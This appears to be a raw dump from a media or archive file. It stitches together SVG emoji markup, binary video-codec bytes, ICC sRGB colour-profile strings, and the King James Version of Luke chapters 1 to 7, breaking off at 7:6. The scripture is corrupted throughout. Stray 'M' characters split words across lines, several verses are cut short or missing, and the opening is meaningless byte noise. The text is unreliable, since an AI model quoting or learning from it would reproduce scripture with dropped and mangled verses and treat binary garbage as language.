    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="M
round" stroke-miterlimit="10" stroke-width="2" d="m22.5 32.82c0.4132-0.344 2.246-1.792 4.909-1.636 2.161 0.1259 3.61 1.233 4.091 1.636"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000" stroke-miterlimit="10" stroke-width="2"/>
    <circle cx="36" cy="46.6" r="4.759" fill="none" fill-rule="evenodd" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="23" fill="#FCEA2B"/>
  <g id="skin-shadow"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M26.1851,27.0707 c2.8995-1.6362,6.2482-2.5699,9.8149-2.5699s6.M
9153,0.9336,9.8149,2.5699"/>
    <path d="M42,41c0-1.6568,1.3448-3,3-3c1.6553,0,3,1.3433,3,3c0,1.6552-1.3447,3-3,3C43.3448,44,42,42.6552,42,41"/>
    <path d="M24,41c0-1.6568,1.3447-3,3-3s3,1.3433,3,3c0,1.6552-1.3447,3-3,3S24,42.6552,24,41"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="23" fill="#FCEA2B"/>
    <circle cx="46" cy="32" r="6.5" fill="#FFFFFF"/>
    <circle cx="26" cy="32" r="6.5" fill="#FFFFFF"/>
  <g id="skin-shadow"/>
    <circle id="SVGID_5_" cx="46.0556" cy="28" r="2.5556"/>
    <circle id="SVGID_9_" cx="26.0556" cy="28" r="2.5556"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-lM
inecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <circle cx="46" cy="32" r="6.5" fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2"/>
    <circle cx="26" cy="32" r="6.5" fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="31" x2="41" y1="49.4967" y2="49.4967" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
59.37.100 libvpx-vp9g
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
AUTHORIZED KING JAMES VERSION
THE GOSPEL ACCORDING TO ST. LUKE
1:1: Forasmuch as many have taken in hand to set forth in order a declaration of those things which are most surely believed among us,
1:2: Even as they delivered them unto us, which from the beginning were eyewitnesses, and ministers of the word;
1:3: It seemed good to me also, having had perfect understanding of all things from the very first, to write unto thee in order, most excellent Theophilus,
thou mightest know the certainty of those things, wherein thou hast been instructed.
1:5: There was in the days of Herod, the king of Judaea, a certain priest named Zacharias, of the course of Abia: and his wife was of the daughters of Aaron, and her name was Elisabeth.
1:6: And they were both righteous before God, walking in all the commandments and ordinances of the Lord blameless.
1:7: And they had no child, because that Elisabeth was barren, and they both were now well stricken in years.
1:8: And it came to pasM
s, that while he executed the priest's office before God in the order of his course,
1:9: According to the custom of the priest's office, his lot was to burn incense when he went into the temple of the Lord.
1:10: And the whole multitude of the people were praying without at the time of incense.
1:11: And there appeared unto him an angel of the Lord standing on the right side of the altar of incense.
1:12: And when Zacharias saw him, he was troubled, and fear fell upon him.
1:13: But the angel said unto him, Fear nM
ot, Zacharias: for thy prayer is heard; and thy wife Elisabeth shall bear thee a son, and thou shalt call his name John.
1:14: And thou shalt have joy and gladness; and many shall rejoice at his birth.
1:15: For he shall be great in the sight of the Lord, and shall drink neither wine nor strong drink; and he shall be filled with the Holy Ghost, even from his mother's womb.
1:16: And many of the children of Israel shall he turn to the Lord their God.
1:17: And he shall go before him in the spirit and power of Elias,M
 to turn the hearts of the fathers to the children, and the disobedient to the wisdom of the just; to make ready a people prepared for the Lord.
1:18: And Zacharias said unto the angel, Whereby shall I know this? for I am an old man, and my wife well stricken in years.
1:19: And the angel answering said unto him, I am Gabriel, that stand in the presence of God; and am sent to speak unto thee, and to shew thee these glad tidings.
1:20: And, behold, thou shalt be dumb, and not able to speak, until the day that these M
things shall be performed, because thou believest not my words, which shall be fulfilled in their season.
1:21: And the people waited for Zacharias, and marvelled that he tarried so long in the temple.
1:22: And when he came out, he could not speak unto them: and they perceived that he had seen a vision in the temple: for he beckoned unto them, and remained speechless.
1:23: And it came to pass, that, as soon as the days of his ministration were accomplished, he departed to his own house.
1:24: And after those daysM
 his wife Elisabeth conceived, and hid herself five months, saying,
1:25: Thus hath the Lord dealt with me in the days wherein he looked on me, to take away my reproach among men.
1:26: And in the sixth month the angel Gabriel was sent from God unto a city of Galilee, named Nazareth,
1:27: To a virgin espoused to a man whose name was Joseph, of the house of David; and the virgin's name was Mary.
1:28: And the angel came in unto her, and said, Hail, thou that art highly favoured, the Lord is with thee: blessed art tM
1:29: And when she saw him, she was troubled at his saying, and cast in her mind what manner of salutation this should be.
1:30: And the angel said unto her, Fear not, Mary: for thou hast found favour with God.
1:31: And, behold, thou shalt conceive in thy womb, and bring forth a son, and shalt call his name JESUS.
1:32: He shall be great, and shall be called the Son of the Highest: and the Lord God shall give unto him the throne of his father David:
1:33: And he shall reign over the house of JacobM
 for ever; and of his kingdom there shall be no end.
1:34: Then said Mary unto the angel, How shall this be, seeing I know not a man?
1:35: And the angel answered and said unto her, The Holy Ghost shall come upon thee, and the power of the Highest shall overshadow thee: therefore also that holy thing which shall be born of thee shall be called the Son of God.
1:36: And, behold, thy cousin Elisabeth, she hath also conceived a son in her old age: and this is the sixth month with her, who was called barren.
with God nothing shall be impossible.
1:38: And Mary said, Behold the handmaid of the Lord; be it unto me according to thy word. And the angel departed from her.
1:39: And Mary arose in those days, and went into the hill country with haste, into a city of Juda;
1:40: And entered into the house of Zacharias, and saluted Elisabeth.
1:41: And it came to pass, that, when Elisabeth heard the salutation of Mary, the babe leaped in her womb; and Elisabeth was filled with the Holy Ghost:
1:42: And she spake out with a loudM
 voice, and said, Blessed art thou among women, and blessed is the fruit of thy womb.
1:43: And whence is this to me, that the mother of my Lord should come to me?
1:44: For, lo, as soon as the voice of thy salutation sounded in mine ears, the babe leaped in my womb for joy.
1:45: And blessed is she that believed: for there shall be a performance of those things which were told her from the Lord.
1:46: And Mary said, My soul doth magnify the Lord,
1:47: And my spirit hath rejoiced in God my Saviour.
th regarded the low estate of his handmaiden: for, behold, from henceforth all generations shall call me blessed.
1:49: For he that is mighty hath done to me great things; and holy is his name.
1:50: And his mercy is on them that fear him from generation to generation.
1:51: He hath shewed strength with his arm; he hath scattered the proud in the imagination of their hearts.
1:52: He hath put down the mighty from their seats, and exalted them of low degree.
1:53: He hath filled the hungry with good things; and the M
rich he hath sent empty away.
1:54: He hath holpen his servant Israel, in remembrance of his mercy;
1:55: As he spake to our fathers, to Abraham, and to his seed for ever.
1:56: And Mary abode with her about three months, and returned to her own house.
1:57: Now Elisabeth's full time came that she should be delivered; and she brought forth a son.
1:58: And her neighbours and her cousins heard how the Lord had shewed great mercy upon her; and they rejoiced with her.
1:59: And it came to pass, that on the eighth day M
they came to circumcise the child; and they called him Zacharias, after the name of his father.
1:60: And his mother answered and said, Not so; but he shall be called John.
1:61: And they said unto her, There is none of thy kindred that is called by this name.
1:62: And they made signs to his father, how he would have him called.
1:63: And he asked for a writing table, and wrote, saying, His name is John. And they marvelled all.
1:64: And his mouth was opened immediately, and his tongue loosed, and he spake, and prM
1:65: And fear came on all that dwelt round about them: and all these sayings were noised abroad throughout all the hill country of Judaea.
1:66: And all they that heard them laid them up in their hearts, saying, What manner of child shall this be! And the hand of the Lord was with him.
1:67: And his father Zacharias was filled with the Holy Ghost, and prophesied, saying,
1:68: Blessed be the Lord God of Israel; for he hath visited and redeemed his people,
1:69: And hath raised up an horn of salvation foM
r us in the house of his servant David;
1:70: As he spake by the mouth of his holy prophets, which have been since the world began:
1:71: That we should be saved from our enemies, and from the hand of all that hate us;
1:72: To perform the mercy promised to our fathers, and to remember his holy covenant;
1:73: The oath which he sware to our father Abraham,
1:74: That he would grant unto us, that we being delivered out of the hand of our enemies might serve him without fear,
1:75: In holiness and righteousness beforM
e him, all the days of our life.
1:76: And thou, child, shalt be called the prophet of the Highest: for thou shalt go before the face of the Lord to prepare his ways;
1:77: To give knowledge of salvation unto his people by the remission of their sins,
1:78: Through the tender mercy of our God; whereby the dayspring from on high hath visited us,
1:79: To give light to them that sit in darkness and in the shadow of death, to guide our feet into the way of peace.
1:80: And the child grew, and waxed strong in spirit, aM
nd was in the deserts till the day of his shewing unto Israel.
2:1: And it came to pass in those days, that there went out a decree from Caesar Augustus, that all the world should be taxed.
2:2: (And this taxing was first made when Cyrenius was governor of Syria.)
2:3: And all went to be taxed, every one into his own city.
2:4: And Joseph also went up from Galilee, out of the city of Nazareth, into Judaea, unto the city of David, which is called Bethlehem; (because he was of the house and lineage of DaviM
2:5: To be taxed with Mary his espoused wife, being great with child.
2:6: And so it was, that, while they were there, the days were accomplished that she should be delivered.
2:7: And she brought forth her firstborn son, and wrapped him in swaddling clothes, and laid him in a manger; because there was no room for them in the inn.
2:8: And there were in the same country shepherds abiding in the field, keeping watch over their flock by night.
2:9: And, lo, the angel of the Lord came upon them, and the glory of tM
he Lord shone round about them: and they were sore afraid.
2:10: And the angel said unto them, Fear not: for, behold, I bring you good tidings of great joy, which shall be to all people.
2:11: For unto you is born this day in the city of David a Saviour, which is Christ the Lord.
2:12: And this shall be a sign unto you; Ye shall find the babe wrapped in swaddling clothes, lying in a manger.
2:13: And suddenly there was with the angel a multitude of the heavenly host praising God, and saying,
2:14: Glory to God in tM
he highest, and on earth peace, good will toward men.
2:15: And it came to pass, as the angels were gone away from them into heaven, the shepherds said one to another, Let us now go even unto Bethlehem, and see this thing which is come to pass, which the Lord hath made known unto us.
2:16: And they came with haste, and found Mary, and Joseph, and the babe lying in a manger.
2:17: And when they had seen it, they made known abroad the saying which was told them concerning this child.
2:18: And all they that heard it M
wondered at those things which were told them by the shepherds.
2:19: But Mary kept all these things, and pondered them in her heart.
2:20: And the shepherds returned, glorifying and praising God for all the things that they had heard and seen, as it was told unto them.
2:21: And when eight days were accomplished for the circumcising of the child, his name was called JESUS, which was so named of the angel before he was conceived in the womb.
2:22: And when the days of her purification according to the law of Moses M
were accomplished, they brought him to Jerusalem, to present him to the Lord;
2:23: (As it is written in the law of the Lord, Every male that openeth the womb shall be called holy to the Lord;)
2:24: And to offer a sacrifice according to that which is said in the law of the Lord, A pair of turtledoves, or two young pigeons.
2:25: And, behold, there was a man in Jerusalem, whose name was Simeon; and the same man was just and devout, waiting for the consolation of Israel: and the Holy Ghost was upon him.
 was revealed unto him by the Holy Ghost, that he should not see death, before he had seen the Lord's Christ.
2:27: And he came by the Spirit into the temple: and when the parents brought in the child Jesus, to do for him after the custom of the law,
2:28: Then took he him up in his arms, and blessed God, and said,
2:29: Lord, now lettest thou thy servant depart in peace, according to thy word:
2:30: For mine eyes have seen thy salvation,
2:31: Which thou hast prepared before the face of all people;
o lighten the Gentiles, and the glory of thy people Israel.
2:33: And Joseph and his mother marvelled at those things which were spoken of him.
2:34: And Simeon blessed them, and said unto Mary his mother, Behold, this child is set for the fall and rising again of many in Israel; and for a sign which shall be spoken against;
2:35: (Yea, a sword shall pierce through thy own soul also,) that the thoughts of many hearts may be revealed.
2:36: And there was one Anna, a prophetess, the daughter of Phanuel, of the tribe M
of Aser: she was of a great age, and had lived with an husband seven years from her virginity;
2:37: And she was a widow of about fourscore and four years, which departed not from the temple, but served God with fastings and prayers night and day.
2:38: And she coming in that instant gave thanks likewise unto the Lord, and spake of him to all them that looked for redemption in Jerusalem.
2:39: And when they had performed all things according to the law of the Lord, they returned into Galilee, to their own city NazaM
2:40: And the child grew, and waxed strong in spirit, filled with wisdom: and the grace of God was upon him.
2:41: Now his parents went to Jerusalem every year at the feast of the passover.
2:42: And when he was twelve years old, they went up to Jerusalem after the custom of the feast.
2:43: And when they had fulfilled the days, as they returned, the child Jesus tarried behind in Jerusalem; and Joseph and his mother knew not of it.
2:44: But they, supposing him to have been in the company, went a day's journeM
y; and they sought him among their kinsfolk and acquaintance.
2:45: And when they found him not, they turned back again to Jerusalem, seeking him.
2:46: And it came to pass, that after three days they found him in the temple, sitting in the midst of the doctors, both hearing them, and asking them questions.
2:47: And all that heard him were astonished at his understanding and answers.
2:48: And when they saw him, they were amazed: and his mother said unto him, Son, why hast thou thus dealt with us? behold, thy fathM
er and I have sought thee sorrowing.
2:49: And he said unto them, How is it that ye sought me? wist ye not that I must be about my Father's business?
2:50: And they understood not the saying which he spake unto them.
2:51: And he went down with them, and came to Nazareth, and was subject unto them: but his mother kept all these sayings in her heart.
2:52: And Jesus increased in wisdom and stature, and in favour with God and man.
3:1: Now in the fifteenth year of the reign of Tiberius Caesar, Pontius PilaM
te being governor of Judaea, and Herod being tetrarch of Galilee, and his brother Philip tetrarch of Ituraea and of the region of Trachonitis, and Lysanias the tetrarch of Abilene,
3:2: Annas and Caiaphas being the high priests, the word of God came unto John the son of Zacharias in the wilderness.
3:3: And he came into all the country about Jordan, preaching the baptism of repentance for the remission of sins;
3:4: As it is written in the book of the words of Esaias the prophet, saying, The voice of one crying in M
the wilderness, Prepare ye the way of the Lord, make his paths straight.
3:5: Every valley shall be filled, and every mountain and hill shall be brought low; and the crooked shall be made straight, and the rough ways shall be made smooth;
3:6: And all flesh shall see the salvation of God.
3:7: Then said he to the multitude that came forth to be baptized of him, O generation of vipers, who hath warned you to flee from the wrath to come?
3:8: Bring forth therefore fruits worthy of repentance, and begin not to say witM
hin yourselves, We have Abraham to our father: for I say unto you, That God is able of these stones to raise up children unto Abraham.
3:9: And now also the axe is laid unto the root of the trees: every tree therefore which bringeth not forth good fruit is hewn down, and cast into the fire.
3:10: And the people asked him, saying, What shall we do then?
3:11: He answereth and saith unto them, He that hath two coats, let him impart to him that hath none; and he that hath meat, let him do likewise.
3:12: Then came alsM
o publicans to be baptized, and said unto him, Master, what shall we do?
3:13: And he said unto them, Exact no more than that which is appointed you.
3:14: And the soldiers likewise demanded of him, saying, And what shall we do? And he said unto them, Do violence to no man, neither accuse any falsely; and be content with your wages.
3:15: And as the people were in expectation, and all men mused in their hearts of John, whether he were the Christ, or not;
3:16: John answered, saying unto them all, I indeed baptize yM
ou with water; but one mightier than I cometh, the latchet of whose shoes I am not worthy to unloose: he shall baptize you with the Holy Ghost and with fire:
3:17: Whose fan is in his hand, and he will throughly purge his floor, and will gather the wheat into his garner; but the chaff he will burn with fire unquenchable.
3:18: And many other things in his exhortation preached he unto the people.
3:19: But Herod the tetrarch, being reproved by him for Herodias his brother Philip's wife, and for all the evils which HM
3:20: Added yet this above all, that he shut up John in prison.
3:21: Now when all the people were baptized, it came to pass, that Jesus also being baptized, and praying, the heaven was opened,
3:22: And the Holy Ghost descended in a bodily shape like a dove upon him, and a voice came from heaven, which said, Thou art my beloved Son; in thee I am well pleased.
3:23: And Jesus himself began to be about thirty years of age, being (as was supposed) the son of Joseph, which was the son of Heli,
ch was the son of Matthat, which was the son of Levi, which was the son of Melchi, which was the son of Janna, which was the son of Joseph,
3:25: Which was the son of Mattathias, which was the son of Amos, which was the son of Naum, which was the son of Esli, which was the son of Nagge,
3:26: Which was the son of Maath, which was the son of Mattathias, which was the son of Semei, which was the son of Joseph, which was the son of Juda,
3:27: Which was the son of Joanna, which was the son of Rhesa, which was the son M
of Zorobabel, which was the son of Salathiel, which was the son of Neri,
3:28: Which was the son of Melchi, which was the son of Addi, which was the son of Cosam, which was the son of Elmodam, which was the son of Er,
3:29: Which was the son of Jose, which was the son of Eliezer, which was the son of Jorim, which was the son of Matthat, which was the son of Levi,
3:30: Which was the son of Simeon, which was the son of Juda, which was the son of Joseph, which was the son of Jonan, which was the son of Eliakim,
 Which was the son of Melea, which was the son of Menan, which was the son of Mattatha, which was the son of Nathan, which was the son of David,
3:32: Which was the son of Jesse, which was the son of Obed, which was the son of Booz, which was the son of Salmon, which was the son of Naasson,
3:33: Which was the son of Aminadab, which was the son of Aram, which was the son of Esrom, which was the son of Phares, which was the son of Juda,
3:34: Which was the son of Jacob, which was the son of Isaac, which was the son M
of Abraham, which was the son of Thara, which was the son of Nachor,
3:35: Which was the son of Saruch, which was the son of Ragau, which was the son of Phalec, which was the son of Heber, which was the son of Sala,
3:36: Which was the son of Cainan, which was the son of Arphaxad, which was the son of Sem, which was the son of Noe, which was the son of Lamech,
3:37: Which was the son of Mathusala, which was the son of Enoch, which was the son of Jared, which was the son of Maleleel, which was the son of Cainan,
8: Which was the son of Enos, which was the son of Seth, which was the son of Adam, which was the son of God.
4:1: And Jesus being full of the Holy Ghost returned from Jordan, and was led by the Spirit into the wilderness,
4:2: Being forty days tempted of the devil. And in those days he did eat nothing: and when they were ended, he afterward hungered.
4:3: And the devil said unto him, If thou be the Son of God, command this stone that it be made bread.
4:4: And Jesus answered him, saying, It is written, M
That man shall not live by bread alone, but by every word of God.
4:5: And the devil, taking him up into an high mountain, shewed unto him all the kingdoms of the world in a moment of time.
4:6: And the devil said unto him, All this power will I give thee, and the glory of them: for that is delivered unto me; and to whomsoever I will I give it.
4:7: If thou therefore wilt worship me, all shall be thine.
4:8: And Jesus answered and said unto him, Get thee behind me, Satan: for it is written, Thou shalt worship the LM
ord thy God, and him only shalt thou serve.
4:9: And he brought him to Jerusalem, and set him on a pinnacle of the temple, and said unto him, If thou be the Son of God, cast thyself down from hence:
4:10: For it is written, He shall give his angels charge over thee, to keep thee:
4:11: And in their hands they shall bear thee up, lest at any time thou dash thy foot against a stone.
4:12: And Jesus answering said unto him, It is said, Thou shalt not tempt the Lord thy God.
4:13: And when the devil had ended all the tM
emptation, he departed from him for a season.
4:14: And Jesus returned in the power of the Spirit into Galilee: and there went out a fame of him through all the region round about.
4:15: And he taught in their synagogues, being glorified of all.
4:16: And he came to Nazareth, where he had been brought up: and, as his custom was, he went into the synagogue on the sabbath day, and stood up for to read.
4:17: And there was delivered unto him the book of the prophet Esaias. And when he had opened the book, he found theM
 place where it was written,
4:18: The Spirit of the Lord is upon me, because he hath anointed me to preach the gospel to the poor; he hath sent me to heal the brokenhearted, to preach deliverance to the captives, and recovering of sight to the blind, to set at liberty them that are bruised,
4:19: To preach the acceptable year of the Lord.
4:20: And he closed the book, and he gave it again to the minister, and sat down. And the eyes of all them that were in the synagogue were fastened on him.
4:21: And he began to M
say unto them, This day is this scripture fulfilled in your ears.
4:22: And all bare him witness, and wondered at the gracious words which proceeded out of his mouth. And they said, Is not this Joseph's son?
4:23: And he said unto them, Ye will surely say unto me this proverb, Physician, heal thyself: whatsoever we have heard done in Capernaum, do also here in thy country.
4:24: And he said, Verily I say unto you, No prophet is accepted in his own country.
4:25: But I tell you of a truth, many widows were in IsraelM
 in the days of Elias, when the heaven was shut up three years and six months, when great famine was throughout all the land;
4:26: But unto none of them was Elias sent, save unto Sarepta, a city of Sidon, unto a woman that was a widow.
4:27: And many lepers were in Israel in the time of Eliseus the prophet; and none of them was cleansed, saving Naaman the Syrian.
4:28: And all they in the synagogue, when they heard these things, were filled with wrath,
4:29: And rose up, and thrust him out of the city, and led himM
 unto the brow of the hill whereon their city was built, that they might cast him down headlong.
4:30: But he passing through the midst of them went his way,
4:31: And came down to Capernaum, a city of Galilee, and taught them on the sabbath days.
4:32: And they were astonished at his doctrine: for his word was with power.
4:33: And in the synagogue there was a man, which had a spirit of an unclean devil, and cried out with a loud voice,
4:34: Saying, Let us alone; what have we to do with thee, thou Jesus of NazareM
th? art thou come to destroy us? I know thee who thou art; the Holy One of God.
4:35: And Jesus rebuked him, saying, Hold thy peace, and come out of him. And when the devil had thrown him in the midst, he came out of him, and hurt him not.
4:36: And they were all amazed, and spake among themselves, saying, What a word is this! for with authority and power he commandeth the unclean spirits, and they come out.
4:37: And the fame of him went out into every place of the country round about.
4:38: And he arose out of thM
e synagogue, and entered into Simon's house. And Simon's wife's mother was taken with a great fever; and they besought him for her.
4:39: And he stood over her, and rebuked the fever; and it left her: and immediately she arose and ministered unto them.
4:40: Now when the sun was setting, all they that had any sick with divers diseases brought them unto him; and he laid his hands on every one of them, and healed them.
4:41: And devils also came out of many, crying out, and saying, Thou art Christ the Son of God. AndM
 he rebuking them suffered them not to speak: for they knew that he was Christ.
4:42: And when it was day, he departed and went into a desert place: and the people sought him, and came unto him, and stayed him, that he should not depart from them.
4:43: And he said unto them, I must preach the kingdom of God to other cities also: for therefore am I sent.
4:44: And he preached in the synagogues of Galilee.
5:1: And it came to pass, that, as the people pressed upon him to hear the word of God, he stood by M
the lake of Gennesaret,
5:2: And saw two ships standing by the lake: but the fishermen were gone out of them, and were washing their nets.
5:3: And he entered into one of the ships, which was Simon's, and prayed him that he would thrust out a little from the land. And he sat down, and taught the people out of the ship.
5:4: Now when he had left speaking, he said unto Simon, Launch out into the deep, and let down your nets for a draught.
5:5: And Simon answering said unto him, Master, we have toiled all the night, aM
nd have taken nothing: nevertheless at thy word I will let down the net.
5:6: And when they had this done, they inclosed a great multitude of fishes: and their net brake.
5:7: And they beckoned unto their partners, which were in the other ship, that they should come and help them. And they came, and filled both the ships, so that they began to sink.
5:8: When Simon Peter saw it, he fell down at Jesus' knees, saying, Depart from me; for I am a sinful man, O Lord.
5:9: For he was astonished, and all that were with hiM
m, at the draught of the fishes which they had taken:
5:10: And so was also James, and John, the sons of Zebedee, which were partners with Simon. And Jesus said unto Simon, Fear not; from henceforth thou shalt catch men.
5:11: And when they had brought their ships to land, they forsook all, and followed him.
5:12: And it came to pass, when he was in a certain city, behold a man full of leprosy: who seeing Jesus fell on his face, and besought him, saying, Lord, if thou wilt, thou canst make me clean.
t forth his hand, and touched him, saying, I will: be thou clean. And immediately the leprosy departed from him.
5:14: And he charged him to tell no man: but go, and shew thyself to the priest, and offer for thy cleansing, according as Moses commanded, for a testimony unto them.
5:15: But so much the more went there a fame abroad of him: and great multitudes came together to hear, and to be healed by him of their infirmities.
5:16: And he withdrew himself into the wilderness, and prayed.
5:17: And it came to pass oM
n a certain day, as he was teaching, that there were Pharisees and doctors of the law sitting by, which were come out of every town of Galilee, and Judaea, and Jerusalem: and the power of the Lord was present to heal them.
5:18: And, behold, men brought in a bed a man which was taken with a palsy: and they sought means to bring him in, and to lay him before him.
5:19: And when they could not find by what way they might bring him in because of the multitude, they went upon the housetop, and let him down through the M
tiling with his couch into the midst before Jesus.
5:20: And when he saw their faith, he said unto him, Man, thy sins are forgiven thee.
5:21: And the scribes and the Pharisees began to reason, saying, Who is this which speaketh blasphemies? Who can forgive sins, but God alone?
5:22: But when Jesus perceived their thoughts, he answering said unto them, What reason ye in your hearts?
5:23: Whether is easier, to say, Thy sins be forgiven thee; or to say, Rise up and walk?
5:24: But that ye may know that the Son of maM
n hath power upon earth to forgive sins, (he said unto the sick of the palsy,) I say unto thee, Arise, and take up thy couch, and go into thine house.
5:25: And immediately he rose up before them, and took up that whereon he lay, and departed to his own house, glorifying God.
5:26: And they were all amazed, and they glorified God, and were filled with fear, saying, We have seen strange things to day.
5:27: And after these things he went forth, and saw a publican, named Levi, sitting at the receipt of custom: and heM
 said unto him, Follow me.
5:28: And he left all, rose up, and followed him.
5:29: And Levi made him a great feast in his own house: and there was a great company of publicans and of others that sat down with them.
5:30: But their scribes and Pharisees murmured against his disciples, saying, Why do ye eat and drink with publicans and sinners?
5:31: And Jesus answering said unto them, They that are whole need not a physician; but they that are sick.
5:32: I came not to call the righteous, but sinners to repentance.
5:33: And they said unto him, Why do the disciples of John fast often, and make prayers, and likewise the disciples of the Pharisees; but thine eat and drink?
5:34: And he said unto them, Can ye make the children of the bridechamber fast, while the bridegroom is with them?
5:35: But the days will come, when the bridegroom shall be taken away from them, and then shall they fast in those days.
5:36: And he spake also a parable unto them; No man putteth a piece of a new garment upon an old; if otherwise, then both theM
 new maketh a rent, and the piece that was taken out of the new agreeth not with the old.
5:37: And no man putteth new wine into old bottles; else the new wine will burst the bottles, and be spilled, and the bottles shall perish.
5:38: But new wine must be put into new bottles; and both are preserved.
5:39: No man also having drunk old wine straightway desireth new: for he saith, The old is better.
6:1: And it came to pass on the second sabbath after the first, that he went through the corn fields; and hM
is disciples plucked the ears of corn, and did eat, rubbing them in their hands.
6:2: And certain of the Pharisees said unto them, Why do ye that which is not lawful to do on the sabbath days?
6:3: And Jesus answering them said, Have ye not read so much as this, what David did, when himself was an hungred, and they which were with him;
6:4: How he went into the house of God, and did take and eat the shewbread, and gave also to them that were with him; which it is not lawful to eat but for the priests alone?
d he said unto them, That the Son of man is Lord also of the sabbath.
6:6: And it came to pass also on another sabbath, that he entered into the synagogue and taught: and there was a man whose right hand was withered.
6:7: And the scribes and Pharisees watched him, whether he would heal on the sabbath day; that they might find an accusation against him.
6:8: But he knew their thoughts, and said to the man which had the withered hand, Rise up, and stand forth in the midst. And he arose and stood forth.
d Jesus unto them, I will ask you one thing; Is it lawful on the sabbath days to do good, or to do evil? to save life, or to destroy it?
6:10: And looking round about upon them all, he said unto the man, Stretch forth thy hand. And he did so: and his hand was restored whole as the other.
6:11: And they were filled with madness; and communed one with another what they might do to Jesus.
6:12: And it came to pass in those days, that he went out into a mountain to pray, and continued all night in prayer to God.
And when it was day, he called unto him his disciples: and of them he chose twelve, whom also he named apostles;
6:14: Simon, (whom he also named Peter,) and Andrew his brother, James and John, Philip and Bartholomew,
6:15: Matthew and Thomas, James the son of Alphaeus, and Simon called Zelotes,
6:16: And Judas the brother of James, and Judas Iscariot, which also was the traitor.
6:17: And he came down with them, and stood in the plain, and the company of his disciples, and a great multitude of people out of all JuM
daea and Jerusalem, and from the sea coast of Tyre and Sidon, which came to hear him, and to be healed of their diseases;
6:18: And they that were vexed with unclean spirits: and they were healed.
6:19: And the whole multitude sought to touch him: for there went virtue out of him, and healed them all.
6:20: And he lifted up his eyes on his disciples, and said, Blessed be ye poor: for yours is the kingdom of God.
6:21: Blessed are ye that hunger now: for ye shall be filled. Blessed are ye that weep now: for ye shallM
6:22: Blessed are ye, when men shall hate you, and when they shall separate you from their company, and shall reproach you, and cast out your name as evil, for the Son of man's sake.
6:23: Rejoice ye in that day, and leap for joy: for, behold, your reward is great in heaven: for in the like manner did their fathers unto the prophets.
6:24: But woe unto you that are rich! for ye have received your consolation.
6:25: Woe unto you that are full! for ye shall hunger. Woe unto you that laugh now! for ye shall moM
6:26: Woe unto you, when all men shall speak well of you! for so did their fathers to the false prophets.
6:27: But I say unto you which hear, Love your enemies, do good to them which hate you,
6:28: Bless them that curse you, and pray for them which despitefully use you.
6:29: And unto him that smiteth thee on the one cheek offer also the other; and him that taketh away thy cloke forbid not to take thy coat also.
6:30: Give to every man that asketh of thee; and of him that taketh away thy goods ask tM
6:31: And as ye would that men should do to you, do ye also to them likewise.
6:32: For if ye love them which love you, what thank have ye? for sinners also love those that love them.
6:33: And if ye do good to them which do good to you, what thank have ye? for sinners also do even the same.
6:34: And if ye lend to them of whom ye hope to receive, what thank have ye? for sinners also lend to sinners, to receive as much again.
6:35: But love ye your enemies, and do good, and lend, hoping for nothing aM
gain; and your reward shall be great, and ye shall be the children of the Highest: for he is kind unto the unthankful and to the evil.
6:36: Be ye therefore merciful, as your Father also is merciful.
6:37: Judge not, and ye shall not be judged: condemn not, and ye shall not be condemned: forgive, and ye shall be forgiven:
6:38: Give, and it shall be given unto you; good measure, pressed down, and shaken together, and running over, shall men give into your bosom. For with the same measure that ye mete withal it shalM
l be measured to you again.
6:39: And he spake a parable unto them, Can the blind lead the blind? shall they not both fall into the ditch?
6:40: The disciple is not above his master: but every one that is perfect shall be as his master.
6:41: And why beholdest thou the mote that is in thy brother's eye, but perceivest not the beam that is in thine own eye?
6:42: Either how canst thou say to thy brother, Brother, let me pull out the mote that is in thine eye, when thou thyself beholdest not the beam that is in thineM
 own eye? Thou hypocrite, cast out first the beam out of thine own eye, and then shalt thou see clearly to pull out the mote that is in thy brother's eye.
6:43: For a good tree bringeth not forth corrupt fruit; neither doth a corrupt tree bring forth good fruit.
6:44: For every tree is known by his own fruit. For of thorns men do not gather figs, nor of a bramble bush gather they grapes.
6:45: A good man out of the good treasure of his heart bringeth forth that which is good; and an evil man out of the evil treasurM
e of his heart bringeth forth that which is evil: for of the abundance of the heart his mouth speaketh.
6:46: And why call ye me, Lord, Lord, and do not the things which I say?
6:47: Whosoever cometh to me, and heareth my sayings, and doeth them, I will shew you to whom he is like:
6:48: He is like a man which built an house, and digged deep, and laid the foundation on a rock: and when the flood arose, the stream beat vehemently upon that house, and could not shake it: for it was founded upon a rock.
hat heareth, and doeth not, is like a man that without a foundation built an house upon the earth; against which the stream did beat vehemently, and immediately it fell; and the ruin of that house was great.
7:1: Now when he had ended all his sayings in the audience of the people, he entered into Capernaum.
7:2: And a certain centurion's servant, who was dear unto him, was sick, and ready to die.
7:3: And when he heard of Jesus, he sent unto him the elders of the Jews, beseeching him that he would come aM
nd heal his servant.
7:4: And when they came to Jesus, they besought him instantly, saying, That he was worthy for whom he should do this:
7:5: For he loveth our nation, and he hath built us a synagogue.
7:6: Then Jesus went with them. And when he was now not far from the house, the centurion sent friends to him, saying unto him, Lord, trouble not thyself: for I am not worthy that thou shouldest enter under my roof:
